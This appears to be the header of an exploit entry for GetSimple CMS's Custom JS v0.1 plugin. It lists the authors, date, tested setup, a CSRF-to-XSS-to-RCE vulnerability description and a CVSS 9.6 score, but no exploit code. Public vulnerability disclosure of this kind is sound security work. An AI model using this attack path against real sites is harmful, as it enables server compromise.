# Exploit Title: GetSimple CMS Custom JS v0.1 - CSRF to XSS to RCE
# Exploit Author: Bobby Cooke (boku) & Abhishek Joshi
# Date: April 30th, 2021
# Vendor Homepage: http://get-simple.info
# Software Link: http://get-simple.info/download/ & http://get-simple.info/extend/plugin/custom-js/1267/
# Vendor: 4Enzo
# Version: v0.1
# Tested against Server Host: Windows 10 Pro + XAMPP
# Tested against Client Browsers: Firefox (Linux & Windows) & Internet Explorer
# Vulnerability Description:
# The Custom JS v0.1 plugin for GetSimple CMS suffers from a Cross-Site Request Forgery (CSRF) attack that allows remote unauthenticated attackers to inject arbitrary client-side code into authenticated administrators browsers, which results in Remote Code Execution (RCE) on the hosting server, when an authenticated administrator visits a malicious third party website.

# CVSS v3.1 Vector: AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
# CVSS Base Score: 9.6
